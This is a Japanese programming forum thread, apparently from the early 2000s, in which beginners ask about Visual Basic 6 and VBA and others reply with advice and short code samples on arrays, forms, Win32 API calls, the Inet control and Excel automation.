ラーニングはやや機能が落ちますが、値段も得で初心者には推奨。

>>601
ラーニングの低機能さには泣くぜ。あとで。

>>603
VBの低機能さには泣くぜ。あとで。

>>601
プロフェッショナルにしておくのが無難だと思われ。

正直今からVB買う意味あるの？
2月にはVS.NETでるんだし。
現行のVBはきれいに消え去ってるよ。

メーラー作ってるYO。
VBの質問じゃないんだけど、
VBからVBSとかWHSとかでアドレス帳のデーターを取得できない？

なぜにVBから「VBSやWHS」経由でアドレス帳にアクセスしたいねん？
素直にVBからアドレス帳にアクセスするか、
VBSやWHSを使うならVBはいらんちゃうか？

>>607
ウィルスのソースを探すといいかも

>>602-606
そんなあなたにDelphi6 Personal http://www.borland.co.jp/delphi/
フリーだし、VB6のProfessionalぐらいのことはできますよ。

VBで二次元配列にデータを格納したいのです。
で、Public Test(1 To 9,1 To 9) as String
それに
Test(0,0) = "あ"
Test(0,1) = "い"
という感じでTest(9,9)まで文字を格納したいのですが、
いちいちTestとかかなくてよい方法ありませんか？
Arrayっていうの使えないみたいなのです。

>>611
Array ってVariant 型でしょ。

Dim varTest As Variant
Dim i As Long

varTest = Array("あ", "い", "う", "え", "お")

For i = 0 To 4
Debug.Print CStr(varTest(i))
Next i

DataListBoxの使い方が詳しく乗ってるサイト無いっすか？
ヘルプよく分からなくて・・・。

レス感謝です。
ただ、上記の方法ではたとえば
Debug.Print CStr(varTest(0,1))
とするとエラーになり二次元配列にならないのです。
verTest(i,j)とやったときに"あ"とか"う"とかが
でるよう対応したやつを作りたいのです。

612ですが
解決しそうです
ちとイメージどおりのスマートさはないですが。

苦肉の策としてはこんな感じでしょうか。
もっと良い方法があると思いますが。

    Dim varTest As Variant
    Dim strBuff As String
    Dim i, j As Long
    Dim m As Long: m = 4
    Dim n As Long: n = 4
    
    varTest = Array("あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お", _
                    "あ", "い", "う", "え", "お")
    
    For i = 0 To m
        strBuff = vbNullString
        For j = 0 To n
            strBuff = strBuff & CStr(varTest((m + 1) * i + j))
        Next j
        Debug.Print strBuff
    Next i

【質問内容】
コマンドをダブルクリックして「バッチファイル(〜.bat)」や
「実行ファイル(〜.exe)」を起動するときのコーディングを
教えてください。

>>617　Shellとか調べてみ。

VBとかって実行するときにDLLとかがないと「〜DLLがない」と
言われますがどうしてWindowsには標準でDLLが入ってないんですか？

半角文字を全角文字に換える関数無いですか？

>>619
標準の DLL ではないから。

>>620
MSDN で調べた？

strConv

MDIで子Formが２つあるのを作っているのですが、
Form1とForm2を同時にアクティブにしておく方法はないでしょうか。
というのもメニューエディタで編集したやつはアクティブフォーム側の
やつが表示されますよね、だけどForm1とForm2のメニューは同じなので
両方にメニューエディタで作るのは二度手間になるのです。
もしくはForm1につくったメニューをForm2側にコピーする方法を教えてください。

>>615
いまさらだが、こっちの方がマシかも

Dim varTest As Variant
Dim strBuff As String
Dim i, j As Long
Dim m As Long: m = 4
Dim n As Long: n = 4
 
varTest = Array(Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お"), _
                Array("あ", "い", "う", "え", "お")) _

For i = 0 To m
    strBuff = vbNullString
    For j = 0 To n
        strBuff = strBuff & CStr(varTest(i)(j))
    Next j
    Debug.Print strBuff
Next i

>>623
フォームを配列にしちまうか、
frmファイルをメモ帳で開いて、プロパティ部分をコピるか。
そーゆーのじゃダメ？

>>625
うむー
感謝です。
両方アクティブってのは実質無理なんでしょうか。
どこかのフリーウェアでなってたような。
なってるように見せる方法ってないですか。

>>623=>>626
MDIFormにメニューを付けて、ActiveFormを見て処理を分岐するんじゃ駄目？

質問お願いします。

プロポーショナルフォント（ＭＳＰゴシック）を使って帳票出力したいのですが、
表示領域の幅に合わせてプログラムで文字列を区切って改行させようとしています。
ＶＢで、プロポーショナルフォントの文字列の幅を取得する方法ってあるでしょうか。

　俺なら、こうするね。
ラベルを一つ作って、プロパティのAutosizeをTrueにし、
Captionに入れたい文字を入れ、そのwidthを取得する、と。
すこしダサいか・・・。

Grid系で一番よく使われているのってどれですか？

>>628
表示領域と同じフォント指定したPictureとか用意して
そこでTextWidth("出力したい文字列〜")で取得すればいいんちゃう？

画像ビューアを作っているのですがこのビューアに「ぼかし」
の機能を付けたいのですがどういった感じで組めばいいのでしょうか？
モザイクとかなら10ドット単位とかの正方形で区切ってそれぞれのRGB値を
操作するといった感じでできると思いますが、ぼかしの場合が
思いつきません。
どなたかアドバイスいただけないでしょうか。

＞630
目的によって使い分けられてる。

＞632
ガウスぼかしなら、　g(x, y)=exp(-(x^2+y^2)/(2*s^2)

すみません。
質問なんですが、
DatabaseとRecordSetのオブジェクトをつかうには,
どの参照設定を入れれば良いんでしょうか?

>>634
Microsoft DAO x.xx Object Libraryかな。
怪しいのを参照設定してオブジェクトビューアで見てみ。

＞635
できました。ありがとうございます

>>630です。
・データベースとつなぎたいです。
・複数列表示できるリストボックスとして使いたいです。
・表示されてる項目をクリックして、そのアイテムを取得できるのが良いです。

できましたら、上記のに当てはまるGridを教えてください。
出来れば３番目のやり方も教えてもらえるとありがたいです。。

実行時のフォームを画像として
保存するにはどうすればよいのでしょうか？

保存する際に、ウインドウのタイトル、枠などを除いて
画像として保存したいです。

>>637
BOCのTrueDBGrid。

http://www.boc.co.jp/

コントロール系の情報集めるのならVBマガジンぐらい見る事を勧める。

>>638

画面を取り込んで印刷
http://www.microsoft.com/japan/support/kb/articles/J042/0/88.asp

画像の保存
http://www1.plala.or.jp/akis/bbslog/1000/401-450.html

これを組み合わせれば大丈夫だと思う。

>>628
　sngWidth = Form1.TextWidth("AIUEO")
　sngWidth = Printer.TextWidht("AIUEO")
のように、TextWidthﾒｿｯﾄﾞでＦｏｎｔﾌﾟﾛﾊﾟﾃｨに設定されている
Fontの幅なら取れるよん

自分の所属しているネットワーク(WORKGROUPなど)内の
パソコン名とそのPCのログインユーザ名を取得する方法がありましたら教えてください

>>642
読みにくいのは勘弁な

--- 標準モジュールに
Option Explicit

'ﾕｰｻﾞ名を取得する
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long

'ｺﾝﾋﾟｭｰﾀ名を取得する
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long _
) As Long
--- 標準モジュール ここまで
とやって
コマンドボタン1個とテキストボックス2個貼ったフォームを用意。

--- テスト用フォーム

Private Sub Command1_Click()

Dim lngRetAPI As Long
Dim tempX As String

tempX = String(256, Chr(0))

'ﾕｰｻﾞ名(GetUserName)
lngRetAPI = GetUserName(tempX, 256)
Text1.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

'ｺﾝﾋﾟｭｰﾀ名(GetComputerName)
lngRetAPI = GetComputerName(tempX, 255)
Text2.Text = Left$(tempX, InStr(1, tempX, Chr(0)) - 1)

End Sub

--- テスト用フォーム　ここまで

で、ボタンを押す。

>>643
そんなこと聞いてないよ

>>644
ゴメン間違えた(藁

MID子フォームで、他のMID子フォームにフォーカスが移っても、
常に最全面に表示されたままのフォームを作成したいのですが、
どうすればよいのでしょうか？

>>643
それだと自分のパソコン名とログインユーザ名だけしか解らないと思います。
ネットワーク内のすべてのパソコン名と、そのログインユーザ名を調べたいのですが、
やはりこれは難しいのでしょうか

イミディエイトウインドウをクリアするにはどうすれば良いのでしょう？

Debug.Print で出力してると残ったままになので、
クリアして使うには、毎回手作業で消してますが、面倒なので

>>642
書籍情報でスマンが...
「Visual Basic6.0 300の技 ネットワーク＋データベース編 」
http://www2.gihyo.co.jp/books/bookinfo.asp?ID=910

PC名一覧だけなら net view コマンドでも良いのかな？

>>648
http://jsvb.freewebspace.com/VBA/

ﾃﾞｰﾀ保存先なんかのﾃﾞｨﾚｸﾄﾘを指定させる場合、どんなｺﾝﾄﾛｰﾙ使ってますか？
DriveListBoxとDirListBox使えばできるけど、ﾁｮﾄ面倒臭い


ちなみにVBのﾊﾞｰｼﾞｮﾝは５です

>>651
VB5 で出来るかどうかはやったことないのでわからんけど、
Shell32.Shell（SHDOC401.DLL） オブジェクトの
BrowseForFolder メソッド使ってますです。

>>642
WORKGROUP 内のコンピュータのIPアドレス取得
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html
「現在接続しているIPネットワーク先のIPアドレスとMACアドレスの取得」

IPアドレス→ホスト名
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html
「IPアドレスよりホスト名の参照」

ユーザ名は分からん。

>>651
漏れはこんな感じでやってる。

Private Sub cmdPath_Click()
    
    Dim typBrowseInfo As BROWSE_INFO
    Dim lFoldPointer As Long
    Dim sPathName As String

    With typBrowseInfo
        .hwOwner = frmMain.hWnd
        .lRoot = CSIDL_DESKTOP
        .sTitle = "フォルダを選択してください"
        .lOptions = BIF_RETURNONLYFSDIRS Or BIF_DONTGOBELOWDOMAIN
    End With

    lFoldPointer = SHBrowseForFolder(typBrowseInfo)

    sPathName = String$(256, vbNullChar)

    Call SHGetPathFromIDList(lFoldPointer, sPathName)

    CoTaskMemFree lFoldPointer

    If Left(sPathName, 1) <> Chr(0) Then
        Debug.Print LCase(sPathName)
    End If

End Sub

>>652 >>654
レスども。
そのあたりの煎で調べてみます。

>>650
ｻﾝｸｽ　英語に戸惑ったけどこれで大丈夫みたい

Drag&Drop後のMouseUpイベントを取得する方法について教えて下さい。

具体的には．．．
DragModeを手動にし、MouseDows時にDragメソッド（引数 1）で
Drag&Dropを行うのですが、Drag&Drop後のMouseUpイベントが
取得できません。

フォーム外にDragされた場合に、イベントを取得できないので、
MouseUpであれば、フォーム外でもイベント取得できるので、
どうにかMouseUpを取得できれば良いのですが

IEからExcelファイルへのリンクをクリック＞Excel起動として
開いたExcelファイルのセルにhtmlフォームのテキストボックスの内容を
反映させるようなVBAってありますでしょうか？
IE5.0 と Excel97です。

ヒントだけでもよいのでお願いできませんでしょうか？


HTML側
<FORM ACTION="***.cgi"> /* ここは適当 */
<INPUT TYPE="text" NAME="text">
<BR>
<A HREF = "xxx.xls">xxx.xls</A> /* このxlsにtextの内容を読ませたい */
</FORM>

EXCEL側
Private Sub Workbook_Open()
Call Read_text /* 起動時に関数呼び出し */
End Sub

Private Sub Read_text()
Dim txtField As String

/* ???? */
/* ここでテキストボックスの内容を取得したい */

ActiveCell.FormulaR1C1 = txtField
Range("A1").Select
End Sub

VBAのProperty Windowのフォントがいきなり、変な文字になって、内容が読めなくなってしまいました。
だれか、復旧方法を教えてください。VB Editorから入っていき、フォームを作り、Propertyを見ると、
文字がイタリックのさらに崩したような状態になっていて、使えません。　だれか助けてください。

質問２つ。
・電話番号欄があって、半角数字とハイフンしか入れられなくしたいのですが
　IsNumeric使うとハイフンも受け付けなくなるので、なんとかなりませんか。
・Form_Loadで、セットフォーカス使うと参照がおかしいみたいな事
　言われんですけど、無理なんですか？

>>660
上の解答（らしきもの）
「マスク エディット (MaskEdBox) コントロール」

>>660
>半角数字とハイフンしか入れられなくしたいのですが
Key Pressイベントで、Key Asciiを調べて、数字とハイフン以外は
KeyAsciiに0を設定すればいい。キーコードについてヘルプで検索すれ。

>Form_Loadで、セットフォーカス使うと参照がおかしいみたいな...
これだけじゃ何をしたいかわからん。

「プロシージャの呼び出し、または引数が不正です。(Error 5)」

つまりこれを回避したいと言うことかな？

Form_Load イベント内では SetFocus は使えない。

Form_Paint　あたりで SetFocus だな。

>>659
キャッシュのクリアか、再インストール　（多分）

http://www.zdnet.co.jp/help/books/at_tb/ch04/ch04_07a.html

みなさんありがとう。
Form_Paintって初めて聞きました。
Form_Loadより後に起こるイベントってあるんですね。ﾋﾞｸﾘしました。

>>658
クリップボード経由だけど、それらしいことはできる。

「セキュリティの設定」で「スクリプトによる貼り付け処理の許可」を有効にする。
（セキュリティとしては大いに問題あり）

HTMLここから--------------------------------------------
<script language="vbscript">
    Sub txtCopyToClipboard()
        set rngText = frmText.txtTarget.createTextRange()
        rngText.execCommand("copy")
    End Sub
</script>

<form id="frmText">
    <input id="txtTarget" type="text" name="txtTarget">
</form>
<a href="./xxx.xls" language="VBScript" onClick="txtCopyToClipboard()">xxx.xls</a>
HTMLここまで--------------------------------------------

EXCELここから--------------------------------------------
Private Sub Workbook_Open()
    Call Read_text
End Sub

Private Sub Read_text()
    Dim txtField As String
    Dim objData As DataObject
    
    Set objData = New DataObject
    objData.GetFromClipboard
    txtField = objData.GetText
    
    ActiveCell.FormulaR1C1 = txtField
    Range("A1").Select
End Sub
EXCELここまで--------------------------------------------

仕事で緊急にＶＢを使わなくてはならなくなりました。
社内でパソコン詳しい人が居ないもので私が使わないといけないのです。

パソコン暦３年のプログラム初心者が初心者本片手に１２時間みっちりやって
どこまで出来るようになりますか？
ちょっとしたプログラムぐらいは読めるようになれますか？

>>669
とりあえずテキストボックスやボタンなどを配置して
Windowsの標準的なインターフェースを作れるようになるでしょ。
後はどんな処理をさせるかだけど、Webで調べれば大抵解決するよ。

>>669
　開発に行き詰まったらいつでもここに来ればいいさ（´∀｀

>669
仕事で使う時ってのは到達すべき目標が見えるから覚えるのも早いで。
WebでQ&Aできる掲示板でも見つけておけ！

>>669
とりあえずコメントだけは面倒でもキッチリかけよ。
後々メンテするときに非常に役に立つからな。

InetコントロールでOpenURLメソッドを呼ばないで（GETしないで）
ヘッダー取得できますか？OpenURLの後GetHeaderするとできますが
いっかい全部落としてから取得してしまうんで。

>>659>>666
レスありがとうございます。でも、まだ直りません。
Officeを再インストールしても駄目でした。まさか、Windowsを再インストールしなければならないのでしょうか？

画面をコピーしたものを参考で公開しますので、見てみてください。

http://kyosuketsuda.hoops.ne.jp/Images/Problem.gif

誰か、助けてください。

ありがとう。
ここはやさしい人も多いのね。
私がんばるよ。。

>>675
Windowsの再インストってそんなに難しいことじゃないよ。
ネットの設定だけは、しっかりメモっとけよ！

トリップとれるとこ知りませんか？

MIME-Version: 1.0
Received: from [143.90.131.182] by hotmail.com (3.2) with ESMTP id MHotMailBCF5F31A005C400438A58F5A83B6B91B0; Sun Jun 17 05:52:43 2001
Received: from cfb87420 ([61.116.15.136]) by t-mta4.odn.ne.jp with SMTP id <[email protected]> for <[email protected]>; Sun, 17 Jun 2001 21:52:41 +0900
From [email protected] Sun Jun 17 05:53:01 2001
Message-ID: <000501c0f724$2beb5420$880f743d@cfb87420>
References: <[email protected]>
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

>>675
昔似たような現象になったことあったな。
そんときはセーフモードで上げれば直ったけど
すぐにまた同じ現象になってな。
結局再インストールしたよ。
入れなおした方が絶対早いと思うぞ。

>>674
OpenURLってのは細かい制御ができないかわりに楽なんだよね。
細かいことをしたいならば面倒でもExecuteでやらんと。
Content-Lengthとかのヘッダ取るだけならこんな感じかな。

Private Sub Command1_Click()
　　Inet1.Execute "http://アドレス", "GET"
End Sub
Private Sub Inet1_StateChanged(ByVal State As Integer)
　　Select Case State
　　　　Case 12
　　　　　　Debug.Print "Content-Type = "; Inet1.GetHeader("Content-type")
　　　　　　Debug.Print "Content-Length = "; Inet1.GetHeader("Content-Length")
　　　　　　Debug.Print "Last-modified = "; Inet1.GetHeader("Last-modified")
　　　　　　Inet1.Cancel '受信もしたいならここでGetChunk繰り返せ
　　End Select
End Sub

ヘッダ全部が欲しいならWinsock使った方がいいかもな。

>>681
どうもです。できました。
それにしてもInetコントロールは良く分からないですね。

＞648
Ctrl＋A→Del押すだけじゃん。

＞660
Loadイベントの最後あたりで、Me.Showしてから、SetFocusする手もある。
ようは、見えないコントロールにフォーカスは当てられないってこと。

Textの特定の文字を置換するにはどうすればいいのですか？
InStr関数がよくわかりません。

やりたいことの例↓

アボーン
アベーン
アブーン

と言う文章の「ーン」を検索して「〜ソ」に置換したいのです。

>>684
Replace("アブーン","ーン","〜ソ")

＞684
Text1.Text = Replace(Text1.Text, "ーン", "〜ソ")
ほかの「ーン」が変換されたくなかったら、
各４字で計３回やればいい。

>>685
>>686
ありが�d

VBでウィルスは作れますか？

>>688
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.goner.a%40mm.html

>>658
これ（>>668）うまくいった？

メニューとかの名前を付けて保存(A)とかの下にボーダーがありますが
これってどうやって出すんですか？

>>691
キャプションに　-　を入れる。

>>692
すいません。ありがとうございます。
ちなみにこういうのってMSDNとかでどのように検索すれば出てきますか？
検索してみたのですがいまいちでして…

>>693
「メニュー」をキーワードにすると、「メニュー　エディタで作成」という
項目が見つかるはず。

>>693
MSDNライブラリ(ヘルプ)の「メニュー (Menu) コントロール」っていう
一番基本的なページに書いてあるじゃん。
全部読めとは言わないけど、ヘルプの目次ぐらいは目を通しておくといいよ。
ヘルプの引き方もプログラミング能力の一部だからね。
えらそうでスマソ。

メニューコントロールに限らないのでは？
コマンドボタンでも使うよ。

>>693
ｽﾏｿ　区切り線と勘違いした。

「保存(&A)」にするとよろしいかと

質問してもいいですか？

>>698
もう質問してるね。

>>699
しまったっ！

WinSockを使って(OCXじゃないよ)ソケットの送受信データを監視できない？
あと、使用中のソケットの列挙方法を教えてくれ。

あと、複数のイベント(FD_WRITEとか)をハンドラしたいんだけど…。

>689
ｻﾝｸｽﾚｽ
ウィルス作るためにVBマスターしてみます

拡張子変更ってどうやるんですか

>>703

rename();

>>702
なんか感謝してないみたい（ｗ thanksless

VB5なんですが・・
DBGRIDをデータと連結しないで使ってるサンプルどっかにない？
（なんだか訳わからんぞ、これ）

>>701
　具体的にどういうもんを作りたいからそうしたいのん？
　送受信データ監視ってそういうイベントとメソッドあるでしょ？
　ＦＴＰ関係？Ｐ２Ｐみたいなの作んの？

あのー、秋葉に逝ったときに
VC++5エンタープライズが7000円で
売ってたけど買いですか？
ちなみ割れじゃなくて中古ソフトとして。

>706
ってか、意味あるんかｿﾚ？
DataをBoundするGridだからGridなんであって...

ヘルプの中にあるバージョン情報とかってMsgBoxとかで作るの？

>>710
それでもいいし、Form で作ってもいい。

それよりも、「プロジェクト」-「フォームモジュール」-「バージョン情報」で
簡単にバージョン情報が追加できる。

ボタン押したら新規にディレクトリを作る方法を教えて下さい。

MkDir

>>713
できやした。Tnx。

コンボボックスってAppearanceで2Dに設定しても2Dにならないのですが、
他に何か設定しないといけないのでしょうか。

すみません、質問です
文字列の置き換え（Replace）で、「改行」を探知できますでしょうか
ある文章から「改行」を詰めたいんですけど
よろしくお願いします

>>716
改行を消したいって意味？
vbCrLfを指定するだけじゃ・・？　違った？

　

＞716
空行を無くしたいなら、vbCrLf & vbCrLf → vbCrLf でオッケー。
もしスペースだけの行があったら、先にそれを始末する必要があるけど。

test

>>702
ここの過去ログだけでもそれなりのものは作れそうだが

CommonDialog1.Filter = "画像ファイル(*.BMP)|*.bmp"
でBMPファイルを開けるのですが
画像ファイル(BMP.JPG.GIF)
というように１つのフィルターで複数開けるようにしたいのですが
どのようにすればよいのでしょうか？

>>722
CommonDialog1.Filter = "ピクチャ (*.bmp;*.jpg;*.gif)|*.bmp;*.jpg;*.gif"

>>723
Thanx

VBAはそこそこ出来るけど、
VBとどう違う???
VBはやっぱ難しい？
アホな質問でｽﾏｿ。

プロジェクト-フォームモジュールの追加で
追加したフォームなどをメニューエディタで作った項目から
開くにはどのようにしたらよろしいのでしょうか？

>>725
VBとVBAでは言語規則は殆ど同じ。
言語というよりコントロールの使い方がキモやね。
違うところといったらVBはコントロールとかが作れるってことかな。
（EXEが作れるかどうかという違いも当然あるけど）
その分難しいといえば難しいけど、
リンゴとミカン、どっちがおいしい？って聞いてるみたいなもんだよ。
好みや使い方でも変わってくる。
でもまぁ、VBAでできることは全部VBでできるけど
逆は無理なことがあるってかんじかな。

>>726
Load frmSecond
frmSecond.Show

>>727
Thanks!

質問です。お願いします。
Cドライブのルートから、全ディレクトリ名とファイル名を
-----------
■C:\
[DIR]
Documents and Settings,Program Files,WINNT・・・
[FILE]
AUTOEXEC.BAT,CONFIG.SYS・・・
■C:\Documents and Settings\
[DIR]
Administrator,All Users,Default User・・・
■C:\Documents and Settings\Administrator\
[DIR]
Application Data,Cookies,Favorites・・・
[FILE]
NTUSER.DAT,ntuser.dat.LOG・・・
　・
　・
　・
■C:\Program Files\
[DIR]
・・・
-----------
こんな風にTXTファイルに書き出したいんですけど、どうもループの
かけ方がうまく考えられません。どなたか上手い考え方あれば
ご教授ください。お願いします。

>>730

これ（>>597）を使えばよろしいかと

>>730 再帰

>>731
うわ。過去ログ見てないのバレバレっすね；
ありがとうございました。
>>732
どゆこと？

プログラムの勉強しる

>>733
再帰処理を使えってことね。
つまり >>597 がやっていること

>>597 をそのまま使うと死ぬよ
気をつけて

Do...Loop に条件式指定しないで
If...Then Exit Do って書き方ってあまり良くないですか？
それとcontinueないから全然Do...Loop使えないんですけど。

>>736
いいんじゃないの？

continueないと不便だけど、Ifでなんとかできるでしょ。

Labelの中で改行ってできますか？

>>738
Label1.Caption = "AAA" & vbCrLf & "BBB"

VB6で、
Data Environmentを追加したいのですが方法がわかりません。
プロジェクト→コンポーネント→デザイナタブ、の中にData Environmentチェックボックスが存在しません。

また、表示→データビューウィンドウ→DataEnvironmentの追加を選ぶと、
「ActiveXコンポーネントはオブジェクトを作成できません」というエラーになります。どなたか対処法を教えていただきたいのですが?

こんちわ〜、以前ウイルス作成者の疑いをかけられた者です。あの
プログラムは努力の末、完成しました。でもウイルスを作ろうと思
ったのでは決してありません。現在はデータベースを構築し、筆王
に近い形のアプリを作成したいと思っています。あれぐらいなら可
能だと思うのですが、みなさんはどう思われますか。

味噌を言えば、はがきの文面をどのようにして、VBで作成するかで
すが、まずはデータベースから。分からない事があったら、またお
願いします。

>>741
こんちわ。多分、貴方を以前ウイルス作成者ではないかと疑ったと
貴方が思っている者です。
心配しないでください。あれくらいの事がわからない奴に
ウイルス程度でも作れるとは思ってませんから。
市販アプリと同じようなものが作れると思ってしまうのは
初級後半〜中級者が陥りやすい罠ですが、誰もが通る道ですので
気にしないでがんばってくださいね。

まぁ俺も厨房っちゅうことだ（藁
俺でわかることなら答えるんでまたきーてくれや。

標準コントロールやOCXに頼らず自前で描画すりゃVBで作った
ようには見えないモノも十分作れます。
ただし、そこまでしてVBを使う事に意味があるかどうかは各々
の価値観次第です。

すみません質問があるんですけど。。。

繰り返し公式なんですけど
x2=a*x1+5*x1/(1+x*1^2)+y1,y2=-x1
におけるカオスを求めたら
アニメーションするプログラムであることがわかったんですけど
これだけではだめな見たいなんです

>>744　ﾜﾗﾀ。おちつけ。

正方形のpictureboxを、平行四辺形に、さらに台形へ、さらに菱形に．．．と
変形する簡単な方法を、どなたかご存知ないでしょうか？
教えてください。

>>746
ピクチャボックス自体は大きさしか変わらない。
描画したものを変形させるってことなら計算。

>>746
フォームの形なら比較的簡単に変えられますが、、、
ピクチャボックスは分かりません　ｽﾏｿ

>746
PictureBoxの中に表示されてる画像もせっとで変形って事？
それとも、枠のみ変形(画像自体は変形しない)って事？

前者は難しい。
後者なら、簡単だじゅ。

すみませんお願いします
わたし独りの力じゃどうにも。。。

画像自体も変形すると言うことです。

>>751
ピクチャボックスだけならこんな感じかな？　イカサマくさいけど
フォームにピクチャボックスを配置して、次のコードをコピペ

'標準モジュール
Option Explicit

Public Declare Function SetWindowRgn Lib "user32" ( _
        ByVal hWnd As Long, _
        ByVal hRgn As Long, _
        ByVal bRedraw As Boolean) As Long
        
Public Declare Function CreatePolygonRgn Lib "gdi32" ( _
        lpPoint As POINTAPI, _
        ByVal nCount As Long, _
        ByVal nPolyFillMode As Long) As Long
        
Public Declare Function DeleteObject Lib "gdi32" ( _
        ByVal hObject As Long) As Long

Public Type POINTAPI
        x As Long
        y As Long
End Type

Public Const ALTERNATE = 1
Public Const WINDING = 2

'フォーム
Option Explicit

Private mlngRet As Long
Private mlngFormation As Long

Private Sub Deformation(lngFormation As Long)

    Dim hRgn As Long
    Dim lpPoint(1 To 4) As POINTAPI

    Select Case lngFormation
        Case 1
            lpPoint(1).x = 100
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width - 100
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height
        Case 2
            lpPoint(1).x = 100
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width - 100
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height

        Case 3
            lpPoint(1).x = Picture1.Width \ 2
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top + Picture1.Height \ 2
            lpPoint(3).x = Picture1.Width \ 2
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height \ 2
        Case 4
            lpPoint(1).x = Picture1.Left
            lpPoint(1).y = Picture1.Top
            lpPoint(2).x = Picture1.Width
            lpPoint(2).y = Picture1.Top
            lpPoint(3).x = Picture1.Width
            lpPoint(3).y = Picture1.Top + Picture1.Height
            lpPoint(4).x = Picture1.Left
            lpPoint(4).y = Picture1.Top + Picture1.Height
    End Select

    hRgn = CreatePolygonRgn(lpPoint(1), 4, WINDING)

    Call DeleteObject(mlngRet)
    mlngRet = SetWindowRgn(Picture1.hWnd, hRgn, True)
    
End Sub

Private Sub Form_Load()
    mlngFormation = 1
    With Picture1
        .BorderStyle = 0
        .Top = Me.ScaleTop
        .Left = Me.ScaleLeft
        .Height = Me.ScaleHeight
        .Width = Me.ScaleWidth
    End With
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Call DeleteObject(mlngRet)
End Sub

Private Sub Picture1_Click()
    Call Deformation(mlngFormation)
    mlngFormation = mlngFormation + 1
    If mlngFormation > 4 Then mlngFormation = 1
End Sub

実行してピクチャボックスをクリックしてみて
はずしてたらｽﾏｿ

画像の変形は面倒

ピクチャボックスの背景は白で、
スケールモードはピクセルにしてね

>>750　ﾜﾗﾀ。おちつけ。

質問の要点が分からん

>>758
すみません返信ありがとうございます
この繰り返し公式のプログラムを実行すると、
アニメーションするんですが、
これ以外にも意味があるらしいんです

ありがとうございました。早速ためしてみます。

ｲﾝｽﾄｰﾙしたらﾃｷｽﾄﾌｧｲﾙ(Readme)をﾃﾞｽｸﾄｯﾌﾟに作りたいんですけど、
ﾃﾞｽｸﾄｯﾌﾟってｲﾝｽﾄｰﾙしている環境によってPATHが違うじゃないですかー。
これって、どうやって指定したら良いんですかい？

>>761
そのくらい自分で調べれ

http://www.google.com/search?num=100&hl=ja&q=%83f%83X%83N%83g%83b%83v%81@%83p%83X%81@%8E%E6%93%BE&lr=

>>759
何を聞きたいのか、それでは解りません。

>>762　ありがとうございますー。

＞761
オレのデスクトップに、ファイルやショートカットを
勝手に置くようなアプリは１００回削除してやる！

VBから既存のエクセルファイルを参照（読み書き）して上書き保存したいんですけど
成功してもバックグランドでEXCELが解放されなくて残っちゃうんですけどどうすれば
いいんしょうか？
ちなみにソースはこんな感じ
出先なんでスペルミスとかあるかもしれないけど起動と読み書きと閉じることは成功
してます。
誰か教えてください。

dim exl as object
dim wb as object
dim ws as object

set exl=createobject("excel.application")
set wb=exl.application.workbooks.open(既存のエクセルファイルのフルパス)
set ws=worksheets(上記エクセルファイルの参照するシート名)

ここから開いたエクセルファイルの読み書きをする

wb.save
wb.close
exl.Quiet
set ws=nothing
set wb=nothing
set exl=nothing

>>766
本質的なことではないかもしれないけど、

exl.Quiet 　→　exl.Quit

ではないかと

そりゃ黙らせただけじゃ終了せんわな。